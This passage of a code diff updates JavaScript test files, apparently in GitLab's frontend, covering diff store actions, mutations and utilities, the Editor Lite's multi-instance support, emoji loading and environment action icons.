- { endpointBatch, useSingleDiffStyle: true, diffViewType: 'inline' },
+ { endpointBatch, diffViewType: 'inline' },
[
{ type: types.SET_BATCH_LOADING, payload: true },
{ type: types.SET_RETRIEVING_BATCHES, payload: true },
{ type: types.SET_DIFF_DATA_BATCH, payload: { diff_files: res1.diff_files } },
{ type: types.SET_BATCH_LOADING, payload: false },
- { type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: 'test' },
+ { type: types.VIEW_DIFF_FILE, payload: 'test' },
{ type: types.SET_DIFF_DATA_BATCH, payload: { diff_files: res2.diff_files } },
{ type: types.SET_BATCH_LOADING, payload: false },
- { type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: 'test2' },
+ { type: types.VIEW_DIFF_FILE, payload: 'test2' },
{ type: types.SET_RETRIEVING_BATCHES, payload: false },
],
[],
@@ -253,7 +215,6 @@ describe('DiffsStoreActions', () => {
commit: () => {},
state: {
endpointBatch: `${endpointBatch}?view=${otherView}`,
- useSingleDiffStyle: true,
diffViewType: viewStyle,
},
})
@@ -283,7 +244,7 @@ describe('DiffsStoreActions', () => {
testAction(
fetchDiffFilesMeta,
{},
- { endpointMetadata },
+ { endpointMetadata, diffViewType: 'inline' },
[
{ type: types.SET_LOADING, payload: true },
{ type: types.SET_LOADING, payload: false },
@@ -299,146 +260,6 @@ describe('DiffsStoreActions', () => {
});
});
- describe('when the single diff view feature flag is off', () => {
- describe('fetchDiffFiles', () => {
- it('should fetch diff files', done => {
- const endpoint = '/fetch/diff/files?w=1';
- const mock = new MockAdapter(axios);
- const res = { diff_files: 1, merge_request_diffs: [] };
- mock.onGet(endpoint).reply(200, res);
-
- testAction(
- fetchDiffFiles,
- {},
- {
- endpoint,
- diffFiles: [],
- showWhitespace: false,
- diffViewType: 'inline',
- useSingleDiffStyle: false,
- currentDiffFileId: null,
- },
- [
- { type: types.SET_LOADING, payload: true },
- { type: types.SET_LOADING, payload: false },
- { type: types.SET_MERGE_REQUEST_DIFFS, payload: res.merge_request_diffs },
- { type: types.SET_DIFF_DATA, payload: res },
- ],
- [],
- () => {
- mock.restore();
- done();
- },
- );
-
- fetchDiffFiles({ state: { endpoint }, commit: () => null })
- .then(data => {
- expect(data).toEqual(res);
- done();
- })
- .catch(done.fail);
- });
- });
-
- describe('fetchDiffFilesBatch', () => {
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('should fetch batch diff files', done => {
- const endpointBatch = '/fetch/diffs_batch';
- const res1 = { diff_files: [{ file_hash: 'test' }], pagination: { next_page: 2 } };
- const res2 = { diff_files: [{ file_hash: 'test2' }], pagination: {} };
- mock
- .onGet(mergeUrlParams({ per_page: DIFFS_PER_PAGE, w: '1', page: 1 }, endpointBatch))
- .reply(200, res1)
- .onGet(mergeUrlParams({ per_page: DIFFS_PER_PAGE, w: '1', page: 2 }, endpointBatch))
- .reply(200, res2);
-
- testAction(
- fetchDiffFilesBatch,
- {},
- { endpointBatch, useSingleDiffStyle: false, currentDiffFileId: null },
- [
- { type: types.SET_BATCH_LOADING, payload: true },
- { type: types.SET_RETRIEVING_BATCHES, payload: true },
- { type: types.SET_DIFF_DATA_BATCH, payload: { diff_files: res1.diff_files } },
- { type: types.SET_BATCH_LOADING, payload: false },
- { type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: 'test' },
- { type: types.SET_DIFF_DATA_BATCH, payload: { diff_files: res2.diff_files } },
- { type: types.SET_BATCH_LOADING, payload: false },
- { type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: 'test2' },
- { type: types.SET_RETRIEVING_BATCHES, payload: false },
- ],
- [],
- done,
- );
- });
-
- it.each`
- querystrings | requestUrl
- ${'?view=parallel'} | ${'/fetch/diffs_batch?view=parallel'}
- ${'?view=inline'} | ${'/fetch/diffs_batch?view=inline'}
- ${''} | ${'/fetch/diffs_batch'}
- `(
- 'should use the endpoint $requestUrl if the endpointBatch in state includes `$querystrings` as a querystring',
- ({ querystrings, requestUrl }) => {
- const endpointBatch = '/fetch/diffs_batch';
-
- fetchDiffFilesBatch({
- commit: () => {},
- state: {
- endpointBatch: `${endpointBatch}${querystrings}`,
- diffViewType: 'inline',
- },
- })
- .then(() => {
- expect(mock.history.get[0].url).toEqual(requestUrl);
- })
- .catch(() => {});
- },
- );
- });
-
- describe('fetchDiffFilesMeta', () => {
- const endpointMetadata = '/fetch/diffs_metadata.json';
- const noFilesData = { ...diffMetadata };
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
-
- delete noFilesData.diff_files;
-
- mock.onGet(endpointMetadata).reply(200, diffMetadata);
- });
- it('should fetch diff meta information', done => {
- testAction(
- fetchDiffFilesMeta,
- {},
- { endpointMetadata, useSingleDiffStyle: false },
- [
- { type: types.SET_LOADING, payload: true },
- { type: types.SET_LOADING, payload: false },
- { type: types.SET_MERGE_REQUEST_DIFFS, payload: diffMetadata.merge_request_diffs },
- { type: types.SET_DIFF_DATA, payload: noFilesData },
- ],
- [],
- () => {
- mock.restore();
- done();
- },
- );
- });
- });
- });
-
describe('fetchCoverageFiles', () => {
let mock;
const endpointCoverage = '/fetch';
@@ -479,7 +300,7 @@ describe('DiffsStoreActions', () => {
it('should mark currently selected diff and set lineHash and fileHash of highlightedRow', () => {
testAction(setHighlightedRow, 'ABC_123', {}, [
{ type: types.SET_HIGHLIGHTED_ROW, payload: 'ABC_123' },
- { type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: 'ABC' },
+ { type: types.VIEW_DIFF_FILE, payload: 'ABC' },
]);
});
});
@@ -589,7 +410,7 @@ describe('DiffsStoreActions', () => {
testAction(
assignDiscussionsToDiff,
[],
- { diffFiles: [], useSingleDiffStyle: true },
+ { diffFiles: [] },
[],
[{ type: 'setCurrentDiffFileIdFromNote', payload: '123' }],
done,
@@ -1083,7 +904,7 @@ describe('DiffsStoreActions', () => {
expect(document.location.hash).toBe('#test');
});
- it('commits UPDATE_CURRENT_DIFF_FILE_ID', () => {
+ it('commits VIEW_DIFF_FILE', () => {
const state = {
treeEntries: {
path: {
@@ -1094,7 +915,7 @@ describe('DiffsStoreActions', () => {
scrollToFile({ state, commit }, 'path');
- expect(commit).toHaveBeenCalledWith(types.UPDATE_CURRENT_DIFF_FILE_ID, 'test');
+ expect(commit).toHaveBeenCalledWith(types.VIEW_DIFF_FILE, 'test');
});
});
@@ -1592,7 +1413,7 @@ describe('DiffsStoreActions', () => {
});
describe('setCurrentDiffFileIdFromNote', () => {
- it('commits UPDATE_CURRENT_DIFF_FILE_ID', () => {
+ it('commits VIEW_DIFF_FILE', () => {
const commit = jest.fn();
const state = { diffFiles: [{ file_hash: '123' }] };
const rootGetters = {
@@ -1602,10 +1423,10 @@ describe('DiffsStoreActions', () => {
setCurrentDiffFileIdFromNote({ commit, state, rootGetters }, '1');
- expect(commit).toHaveBeenCalledWith(types.UPDATE_CURRENT_DIFF_FILE_ID, '123');
+ expect(commit).toHaveBeenCalledWith(types.VIEW_DIFF_FILE, '123');
});
- it('does not commit UPDATE_CURRENT_DIFF_FILE_ID when discussion has no diff_file', () => {
+ it('does not commit VIEW_DIFF_FILE when discussion has no diff_file', () => {
const commit = jest.fn();
const state = { diffFiles: [{ file_hash: '123' }] };
const rootGetters = {
@@ -1618,7 +1439,7 @@ describe('DiffsStoreActions', () => {
expect(commit).not.toHaveBeenCalled();
});
- it('does not commit UPDATE_CURRENT_DIFF_FILE_ID when diff file does not exist', () => {
+ it('does not commit VIEW_DIFF_FILE when diff file does not exist', () => {
const commit = jest.fn();
const state = { diffFiles: [{ file_hash: '123' }] };
const rootGetters = {
@@ -1633,12 +1454,12 @@ describe('DiffsStoreActions', () => {
});
describe('navigateToDiffFileIndex', () => {
- it('commits UPDATE_CURRENT_DIFF_FILE_ID', done => {
+ it('commits VIEW_DIFF_FILE', done => {
testAction(
navigateToDiffFileIndex,
0,
{ diffFiles: [{ file_hash: '123' }] },
- [{ type: types.UPDATE_CURRENT_DIFF_FILE_ID, payload: '123' }],
+ [{ type: types.VIEW_DIFF_FILE, payload: '123' }],
[],
done,
);
diff --git a/spec/frontend/diffs/store/mutations_spec.js b/spec/frontend/diffs/store/mutations_spec.js
index 70047899612..e1d855ae0cf 100644
--- a/spec/frontend/diffs/store/mutations_spec.js
+++ b/spec/frontend/diffs/store/mutations_spec.js
@@ -11,13 +11,11 @@ describe('DiffsStoreMutations', () => {
const state = {};
const endpoint = '/diffs/endpoint';
const projectPath = '/root/project';
- const useSingleDiffStyle = false;
- mutations[types.SET_BASE_CONFIG](state, { endpoint, projectPath, useSingleDiffStyle });
+ mutations[types.SET_BASE_CONFIG](state, { endpoint, projectPath });
expect(state.endpoint).toEqual(endpoint);
expect(state.projectPath).toEqual(projectPath);
- expect(state.useSingleDiffStyle).toEqual(useSingleDiffStyle);
});
});
@@ -70,12 +68,13 @@ describe('DiffsStoreMutations', () => {
});
describe('SET_DIFF_DATA', () => {
- it('should set diff data type properly', () => {
+ it('should not modify the existing state', () => {
const state = {
diffFiles: [
{
- ...diffFileMockData,
- parallel_diff_lines: [],
+ content_sha: diffFileMockData.content_sha,
+ file_hash: diffFileMockData.file_hash,
+ highlighted_diff_lines: [],
},
],
};
@@ -85,43 +84,7 @@ describe('DiffsStoreMutations', () => {
mutations[types.SET_DIFF_DATA](state, diffMock);
- const firstLine = state.diffFiles[0].parallel_diff_lines[0];
-
- expect(firstLine.right.text).toBeUndefined();
- expect(state.diffFiles.length).toEqual(1);
- expect(state.diffFiles[0].renderIt).toEqual(true);
- expect(state.diffFiles[0].collapsed).toEqual(false);
- });
-
- describe('given diffsBatchLoad feature flag is enabled', () => {
- beforeEach(() => {
- gon.features = { diffsBatchLoad: true };
- });
-
- afterEach(() => {
- delete gon.features;
- });
-
- it('should not modify the existing state', () => {
- const state = {
- diffFiles: [
- {
- content_sha: diffFileMockData.content_sha,
- file_hash: diffFileMockData.file_hash,
- highlighted_diff_lines: [],
- },
- ],
- };
- const diffMock = {
- diff_files: [diffFileMockData],
- };
-
- mutations[types.SET_DIFF_DATA](state, diffMock);
-
- // If the batch load is enabled, there shouldn't be any processing
- // done on the existing state object, so we shouldn't have this.
- expect(state.diffFiles[0].parallel_diff_lines).toBeUndefined();
- });
+ expect(state.diffFiles[0].parallel_diff_lines).toBeUndefined();
});
});
@@ -682,6 +645,36 @@ describe('DiffsStoreMutations', () => {
expect(state.diffFiles[0].highlighted_diff_lines[0].discussions).toHaveLength(1);
expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toBe(1);
});
+
+ it('should add discussion to file', () => {
+ const state = {
+ latestDiff: true,
+ diffFiles: [
+ {
+ file_hash: 'ABC',
+ discussions: [],
+ parallel_diff_lines: [],
+ highlighted_diff_lines: [],
+ },
+ ],
+ };
+ const discussion = {
+ id: 1,
+ line_code: 'ABC_1',
+ diff_discussion: true,
+ resolvable: true,
+ diff_file: {
+ file_hash: state.diffFiles[0].file_hash,
+ },
+ };
+
+ mutations[types.SET_LINE_DISCUSSIONS_FOR_FILE](state, {
+ discussion,
+ diffPositionByLineCode: null,
+ });
+
+ expect(state.diffFiles[0].discussions.length).toEqual(1);
+ });
});
describe('REMOVE_LINE_DISCUSSIONS', () => {
@@ -774,11 +767,11 @@ describe('DiffsStoreMutations', () => {
});
});
- describe('UPDATE_CURRENT_DIFF_FILE_ID', () => {
+ describe('VIEW_DIFF_FILE', () => {
it('updates currentDiffFileId', () => {
const state = createState();
- mutations[types.UPDATE_CURRENT_DIFF_FILE_ID](state, 'somefileid');
+ mutations[types.VIEW_DIFF_FILE](state, 'somefileid');
expect(state.currentDiffFileId).toBe('somefileid');
});
diff --git a/spec/frontend/diffs/store/utils_spec.js b/spec/frontend/diffs/store/utils_spec.js
index 62c82468ea0..39a482c85ae 100644
--- a/spec/frontend/diffs/store/utils_spec.js
+++ b/spec/frontend/diffs/store/utils_spec.js
@@ -1167,4 +1167,59 @@ describe('DiffsStoreUtils', () => {
expect(utils.getDefaultWhitespace(undefined, '0')).toBe(true);
});
});
+
+ describe('isAdded', () => {
+ it.each`
+ type | expected
+ ${'new'} | ${true}
+ ${'new-nonewline'} | ${true}
+ ${'old'} | ${false}
+ `('returns $expected when type is $type', ({ type, expected }) => {
+ expect(utils.isAdded({ type })).toBe(expected);
+ });
+ });
+
+ describe('isRemoved', () => {
+ it.each`
+ type | expected
+ ${'old'} | ${true}
+ ${'old-nonewline'} | ${true}
+ ${'new'} | ${false}
+ `('returns $expected when type is $type', ({ type, expected }) => {
+ expect(utils.isRemoved({ type })).toBe(expected);
+ });
+ });
+
+ describe('isUnchanged', () => {
+ it.each`
+ type | expected
+ ${null} | ${true}
+ ${'new'} | ${false}
+ ${'old'} | ${false}
+ `('returns $expected when type is $type', ({ type, expected }) => {
+ expect(utils.isUnchanged({ type })).toBe(expected);
+ });
+ });
+
+ describe('isMeta', () => {
+ it.each`
+ type | expected
+ ${'match'} | ${true}
+ ${'new-nonewline'} | ${true}
+ ${'old-nonewline'} | ${true}
+ ${'new'} | ${false}
+ `('returns $expected when type is $type', ({ type, expected }) => {
+ expect(utils.isMeta({ type })).toBe(expected);
+ });
+ });
+
+ describe('parallelizeDiffLines', () => {
+ it('converts inline diff lines to parallel diff lines', () => {
+ const file = getDiffFileMock();
+
+ expect(utils.parallelizeDiffLines(file.highlighted_diff_lines)).toEqual(
+ file.parallel_diff_lines,
+ );
+ });
+ });
});
diff --git a/spec/frontend/editor/editor_lite_spec.js b/spec/frontend/editor/editor_lite_spec.js
index e4edeab172b..e566d3a4b38 100644
--- a/spec/frontend/editor/editor_lite_spec.js
+++ b/spec/frontend/editor/editor_lite_spec.js
@@ -1,8 +1,7 @@
import { editor as monacoEditor, languages as monacoLanguages, Uri } from 'monaco-editor';
import Editor from '~/editor/editor_lite';
import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
-
-const URI_PREFIX = 'gitlab';
+import { EDITOR_LITE_INSTANCE_ERROR_NO_EL, URI_PREFIX } from '~/editor/constants';
describe('Base editor', () => {
let editorEl;
@@ -27,9 +26,7 @@ describe('Base editor', () => {
it('initializes Editor with basic properties', () => {
expect(editor).toBeDefined();
- expect(editor.editorEl).toBe(null);
- expect(editor.blobContent).toEqual('');
- expect(editor.blobPath).toEqual('');
+ expect(editor.instances).toEqual([]);
});
it('removes `editor-loading` data attribute from the target DOM element', () => {
@@ -51,15 +48,14 @@ describe('Base editor', () => {
instanceSpy = jest.spyOn(monacoEditor, 'create').mockImplementation(() => ({
setModel,
dispose,
+ onDidDispose: jest.fn(),
}));
});
- it('does nothing if no dom element is supplied', () => {
- editor.createInstance();
-
- expect(editor.editorEl).toBe(null);
- expect(editor.blobContent).toEqual('');
- expect(editor.blobPath).toEqual('');
+ it('throws an error if no dom element is supplied', () => {
+ expect(() => {
+ editor.createInstance();
+ }).toThrow(EDITOR_LITE_INSTANCE_ERROR_NO_EL);
expect(modelSpy).not.toHaveBeenCalled();
expect(instanceSpy).not.toHaveBeenCalled();
@@ -89,15 +85,133 @@ describe('Base editor', () => {
createUri(blobGlobalId, blobPath),
);
});
+
+ it('initializes instance with passed properties', () => {
+ const instanceOptions = {
+ foo: 'bar',
+ };
+ editor.createInstance({
+ el: editorEl,
+ ...instanceOptions,
+ });
+ expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.objectContaining(instanceOptions));
+ });
+
+ it('disposes instance when the editor is disposed', () => {
+ editor.createInstance({ el: editorEl, blobPath, blobContent, blobGlobalId });
+
+ expect(dispose).not.toHaveBeenCalled();
+
+ editor.dispose();
+
+ expect(dispose).toHaveBeenCalled();
+ });
+ });
+
+ describe('multiple instances', () => {
+ let instanceSpy;
+ let inst1Args;
+ let inst2Args;
+ let editorEl1;
+ let editorEl2;
+ let inst1;
+ let inst2;
+ const readOnlyIndex = '68'; // readOnly option has the internal index of 68 in the editor's options
+
+ beforeEach(() => {
+ setFixtures('<div id="editor1"></div><div id="editor2"></div>');
+ editorEl1 = document.getElementById('editor1');
+ editorEl2 = document.getElementById('editor2');
+ inst1Args = {
+ el: editorEl1,
+ blobGlobalId,
+ };
+ inst2Args = {
+ el: editorEl2,
+ blobContent,
+ blobPath,
+ blobGlobalId,
+ };
+
+ editor = new Editor();
+ instanceSpy = jest.spyOn(monacoEditor, 'create');
+ });
+
+ afterEach(() => {
+ editor.dispose();
+ });
+
+ it('can initialize several instances of the same editor', () => {
+ editor.createInstance(inst1Args);
+ expect(editor.instances).toHaveLength(1);
+
+ editor.createInstance(inst2Args);
+
+ expect(instanceSpy).toHaveBeenCalledTimes(2);
+ expect(editor.instances).toHaveLength(2);
+ });
+
+ it('sets independent models on independent instances', () => {
+ inst1 = editor.createInstance(inst1Args);
+ inst2 = editor.createInstance(inst2Args);
+
+ const model1 = inst1.getModel();
+ const model2 = inst2.getModel();
+
+ expect(model1).toBeDefined();
+ expect(model2).toBeDefined();
+ expect(model1).not.toEqual(model2);
+ });
+
+ it('shares global editor options among all instances', () => {
+ editor = new Editor({
+ readOnly: true,
+ });
+
+ inst1 = editor.createInstance(inst1Args);
+ expect(inst1.getOption(readOnlyIndex)).toBe(true);
+
+ inst2 = editor.createInstance(inst2Args);
+ expect(inst2.getOption(readOnlyIndex)).toBe(true);
+ });
+
+ it('allows overriding editor options on the instance level', () => {
+ editor = new Editor({
+ readOnly: true,
+ });
+ inst1 = editor.createInstance({
+ ...inst1Args,
+ readOnly: false,
+ });
+
+ expect(inst1.getOption(readOnlyIndex)).toBe(false);
+ });
+
+ it('disposes instances and relevant models independently from each other', () => {
+ inst1 = editor.createInstance(inst1Args);
+ inst2 = editor.createInstance(inst2Args);
+
+ expect(inst1.getModel()).not.toBe(null);
+ expect(inst2.getModel()).not.toBe(null);
+ expect(editor.instances).toHaveLength(2);
+ expect(monacoEditor.getModels()).toHaveLength(2);
+
+ inst1.dispose();
+ expect(inst1.getModel()).toBe(null);
+ expect(inst2.getModel()).not.toBe(null);
+ expect(editor.instances).toHaveLength(1);
+ expect(monacoEditor.getModels()).toHaveLength(1);
+ });
});
describe('implementation', () => {
+ let instance;
beforeEach(() => {
- editor.createInstance({ el: editorEl, blobPath, blobContent });
+ instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
});
it('correctly proxies value from the model', () => {
- expect(editor.getValue()).toEqual(blobContent);
+ expect(instance.getValue()).toBe(blobContent);
});
it('is capable of changing the language of the model', () => {
@@ -108,24 +222,25 @@ describe('Base editor', () => {
const blobRenamedPath = 'test.js';
- expect(editor.model.getLanguageIdentifier().language).toEqual('markdown');
- editor.updateModelLanguage(blobRenamedPath);
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('markdown');
+ instance.updateModelLanguage(blobRenamedPath);
- expect(editor.model.getLanguageIdentifier().language).toEqual('javascript');
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('javascript');
});
it('falls back to plaintext if there is no language associated with an extension', () => {
const blobRenamedPath = 'test.myext';
const spy = jest.spyOn(console, 'error').mockImplementation(() => {});
- editor.updateModelLanguage(blobRenamedPath);
+ instance.updateModelLanguage(blobRenamedPath);
expect(spy).not.toHaveBeenCalled();
- expect(editor.model.getLanguageIdentifier().language).toEqual('plaintext');
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('plaintext');
});
});
describe('extensions', () => {
+ let instance;
const foo1 = jest.fn();
const foo2 = jest.fn();
const bar = jest.fn();
@@ -139,14 +254,14 @@ describe('Base editor', () => {
foo: foo2,
};
beforeEach(() => {
- editor.createInstance({ el: editorEl, blobPath, blobContent });
+ instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
});
it('is extensible with the extensions', () => {
- expect(editor.foo).toBeUndefined();
+ expect(instance.foo).toBeUndefined();
editor.use(MyExt1);
- expect(editor.foo).toEqual(foo1);
+ expect(instance.foo).toEqual(foo1);
});
it('does not fail if no extensions supplied', () => {
@@ -157,18 +272,18 @@ describe('Base editor', () => {
});
it('is extensible with multiple extensions', () => {
- expect(editor.foo).toBeUndefined();
- expect(editor.bar).toBeUndefined();
+ expect(instance.foo).toBeUndefined();
+ expect(instance.bar).toBeUndefined();
editor.use([MyExt1, MyExt2]);
- expect(editor.foo).toEqual(foo1);
- expect(editor.bar).toEqual(bar);
+ expect(instance.foo).toEqual(foo1);
+ expect(instance.bar).toEqual(bar);
});
it('uses the last definition of a method in case of an overlap', () => {
editor.use([MyExt1, MyExt2, MyExt3]);
- expect(editor).toEqual(
+ expect(instance).toEqual(
expect.objectContaining({
foo: foo2,
bar,
@@ -179,15 +294,47 @@ describe('Base editor', () => {
it('correctly resolves references withing extensions', () => {
const FunctionExt = {
inst() {
- return this.instance;
+ return this;
},
mod() {
- return this.model;
+ return this.getModel();
},
};
editor.use(FunctionExt);
- expect(editor.inst()).toEqual(editor.instance);
- expect(editor.mod()).toEqual(editor.model);
+ expect(instance.inst()).toEqual(editor.instances[0]);
+ });
+
+ describe('multiple instances', () => {
+ let inst1;
+ let inst2;
+ let editorEl1;
+ let editorEl2;
+
+ beforeEach(() => {
+ setFixtures('<div id="editor1"></div><div id="editor2"></div>');
+ editorEl1 = document.getElementById('editor1');
+ editorEl2 = document.getElementById('editor2');
+ inst1 = editor.createInstance({ el: editorEl1, blobPath: `foo-${blobPath}` });
+ inst2 = editor.createInstance({ el: editorEl2, blobPath: `bar-${blobPath}` });
+ });
+
+ afterEach(() => {
+ editor.dispose();
+ editorEl1.remove();
+ editorEl2.remove();
+ });
+
+ it('extends all instances if no specific instance is passed', () => {
+ editor.use(MyExt1);
+ expect(inst1.foo).toEqual(foo1);
+ expect(inst2.foo).toEqual(foo1);
+ });
+
+ it('extends specific instance if it has been passed', () => {
+ editor.use(MyExt1, inst2);
+ expect(inst1.foo).toBeUndefined();
+ expect(inst2.foo).toEqual(foo1);
+ });
});
});
diff --git a/spec/frontend/editor/editor_markdown_ext_spec.js b/spec/frontend/editor/editor_markdown_ext_spec.js
index b0fabad8542..30ab29aad35 100644
--- a/spec/frontend/editor/editor_markdown_ext_spec.js
+++ b/spec/frontend/editor/editor_markdown_ext_spec.js
@@ -4,6 +4,7 @@ import EditorMarkdownExtension from '~/editor/editor_markdown_ext';
describe('Markdown Extension for Editor Lite', () => {
let editor;
+ let instance;
let editorEl;
const firstLine = 'This is a';
const secondLine = 'multiline';
@@ -13,19 +14,19 @@ describe('Markdown Extension for Editor Lite', () => {
const setSelection = (startLineNumber = 1, startColumn = 1, endLineNumber = 1, endColumn = 1) => {
const selection = new Range(startLineNumber, startColumn, endLineNumber, endColumn);
- editor.instance.setSelection(selection);
+ instance.setSelection(selection);
};
const selectSecondString = () => setSelection(2, 1, 2, secondLine.length + 1); // select the whole second line
const selectSecondAndThirdLines = () => setSelection(2, 1, 3, thirdLine.length + 1); // select second and third lines
- const selectionToString = () => editor.instance.getSelection().toString();
- const positionToString = () => editor.instance.getPosition().toString();
+ const selectionToString = () => instance.getSelection().toString();
+ const positionToString = () => instance.getPosition().toString();
beforeEach(() => {
setFixtures('<div id="editor" data-editor-loading></div>');
editorEl = document.getElementById('editor');
editor = new EditorLite();
- editor.createInstance({
+ instance = editor.createInstance({
el: editorEl,
blobPath: filePath,
blobContent: text,
@@ -34,17 +35,16 @@ describe('Markdown Extension for Editor Lite', () => {
});
afterEach(() => {
- editor.instance.dispose();
- editor.model.dispose();
+ instance.dispose();
editorEl.remove();
});
describe('getSelectedText', () => {
it('does not fail if there is no selection and returns the empty string', () => {
- jest.spyOn(editor.instance, 'getSelection');
- const resText = editor.getSelectedText();
+ jest.spyOn(instance, 'getSelection');
+ const resText = instance.getSelectedText();
- expect(editor.instance.getSelection).toHaveBeenCalled();
+ expect(instance.getSelection).toHaveBeenCalled();
expect(resText).toBe('');
});
@@ -56,7 +56,7 @@ describe('Markdown Extension for Editor Lite', () => {
`('correctly returns selected text for $description', ({ selection, expectedString }) => {
setSelection(...selection);
- const resText = editor.getSelectedText();
+ const resText = instance.getSelectedText();
expect(resText).toBe(expectedString);
});
@@ -65,7 +65,7 @@ describe('Markdown Extension for Editor Lite', () => {
selectSecondString();
const firstLineSelection = new Range(1, 1, 1, firstLine.length + 1);
- const resText = editor.getSelectedText(firstLineSelection);
+ const resText = instance.getSelectedText(firstLineSelection);
expect(resText).toBe(firstLine);
});
@@ -76,25 +76,25 @@ describe('Markdown Extension for Editor Lite', () => {
it('replaces selected text with the supplied one', () => {
selectSecondString();
- editor.replaceSelectedText(expectedStr);
+ instance.replaceSelectedText(expectedStr);
- expect(editor.getValue()).toBe(`${firstLine}\n${expectedStr}\n${thirdLine}`);
+ expect(instance.getValue()).toBe(`${firstLine}\n${expectedStr}\n${thirdLine}`);
});
it('prepends the supplied text if no text is selected', () => {
- editor.replaceSelectedText(expectedStr);
- expect(editor.getValue()).toBe(`${expectedStr}${firstLine}\n${secondLine}\n${thirdLine}`);
+ instance.replaceSelectedText(expectedStr);
+ expect(instance.getValue()).toBe(`${expectedStr}${firstLine}\n${secondLine}\n${thirdLine}`);
});
it('replaces selection with empty string if no text is supplied', () => {
selectSecondString();
- editor.replaceSelectedText();
- expect(editor.getValue()).toBe(`${firstLine}\n\n${thirdLine}`);
+ instance.replaceSelectedText();
+ expect(instance.getValue()).toBe(`${firstLine}\n\n${thirdLine}`);
});
it('puts cursor at the end of the new string and collapses selection by default', () => {
selectSecondString();
- editor.replaceSelectedText(expectedStr);
+ instance.replaceSelectedText(expectedStr);
expect(positionToString()).toBe(`(2,${expectedStr.length + 1})`);
expect(selectionToString()).toBe(
@@ -106,7 +106,7 @@ describe('Markdown Extension for Editor Lite', () => {
const select = 'url';
const complexReplacementString = `[${secondLine}](${select})`;
selectSecondString();
- editor.replaceSelectedText(complexReplacementString, select);
+ instance.replaceSelectedText(complexReplacementString, select);
expect(positionToString()).toBe(`(2,${complexReplacementString.length + 1})`);
expect(selectionToString()).toBe(`[2,1 -> 2,${complexReplacementString.length + 1}]`);
@@ -116,7 +116,7 @@ describe('Markdown Extension for Editor Lite', () => {
describe('moveCursor', () => {
const setPosition = endCol => {
const currentPos = new Position(2, endCol);
- editor.instance.setPosition(currentPos);
+ instance.setPosition(currentPos);
};
it.each`
@@ -136,9 +136,9 @@ describe('Markdown Extension for Editor Lite', () => {
({ startColumn, shift, endPosition }) => {
setPosition(startColumn);
if (Array.isArray(shift)) {
- editor.moveCursor(...shift);
+ instance.moveCursor(...shift);
} else {
- editor.moveCursor(shift);
+ instance.moveCursor(shift);
}
expect(positionToString()).toBe(endPosition);
},
@@ -153,18 +153,18 @@ describe('Markdown Extension for Editor Lite', () => {
expect(selectionToString()).toBe(`[2,1 -> 3,${thirdLine.length + 1}]`);
- editor.selectWithinSelection(toSelect, selectedText);
+ instance.selectWithinSelection(toSelect, selectedText);
expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
});
it('does not fail when only `toSelect` is supplied and fetches the text from selection', () => {
- jest.spyOn(editor, 'getSelectedText');
+ jest.spyOn(instance, 'getSelectedText');
const toSelect = 'string';
selectSecondAndThirdLines();
- editor.selectWithinSelection(toSelect);
+ instance.selectWithinSelection(toSelect);
- expect(editor.getSelectedText).toHaveBeenCalled();
+ expect(instance.getSelectedText).toHaveBeenCalled();
expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
});
@@ -176,7 +176,7 @@ describe('Markdown Extension for Editor Lite', () => {
expect(positionToString()).toBe(expectedPos);
expect(selectionToString()).toBe(expectedSelection);
- editor.selectWithinSelection();
+ instance.selectWithinSelection();
expect(positionToString()).toBe(expectedPos);
expect(selectionToString()).toBe(expectedSelection);
@@ -190,12 +190,12 @@ describe('Markdown Extension for Editor Lite', () => {
expect(positionToString()).toBe(expectedPos);
expect(selectionToString()).toBe(expectedSelection);
- editor.selectWithinSelection(toSelect);
+ instance.selectWithinSelection(toSelect);
expect(positionToString()).toBe(expectedPos);
expect(selectionToString()).toBe(expectedSelection);
- editor.selectWithinSelection();
+ instance.selectWithinSelection();
expect(positionToString()).toBe(expectedPos);
expect(selectionToString()).toBe(expectedSelection);
diff --git a/spec/frontend/emoji/emoji_spec.js b/spec/frontend/emoji/emoji_spec.js
index 9b49c8b8ab5..53c6d0835bc 100644
--- a/spec/frontend/emoji/emoji_spec.js
+++ b/spec/frontend/emoji/emoji_spec.js
@@ -55,11 +55,10 @@ const emojiFixtureMap = {
describe('gl_emoji', () => {
let mock;
- const emojiData = getJSONFixture('emojis/emojis.json');
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200, emojiData);
+ mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200);
return initEmojiMap().catch(() => {});
});
diff --git a/spec/frontend/environments/environment_actions_spec.js b/spec/frontend/environments/environment_actions_spec.js
index e7f5ee4bc4d..ebdc4923045 100644
--- a/spec/frontend/environments/environment_actions_spec.js
+++ b/spec/frontend/environments/environment_actions_spec.js
@@ -1,9 +1,8 @@
import { shallowMount } from '@vue/test-utils';
import { TEST_HOST } from 'helpers/test_constants';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import eventHub from '~/environments/event_hub';
import EnvironmentActions from '~/environments/components/environment_actions.vue';
-import Icon from '~/vue_shared/components/icon.vue';
describe('EnvironmentActions Component', () => {
let vm;
@@ -17,7 +16,7 @@ describe('EnvironmentActions Component', () => {
});
it('should render a dropdown button with 2 icons', () => {
- expect(vm.find('.dropdown-new').findAll(Icon).length).toBe(2);
+ expect(vm.find('.dropdown-new').findAll(GlIcon).length).toBe(2);
});
it('should render a dropdown button with aria-label description', () => {
@@ -60,11 +59,7 @@ describe('EnvironmentActions Component', () => {
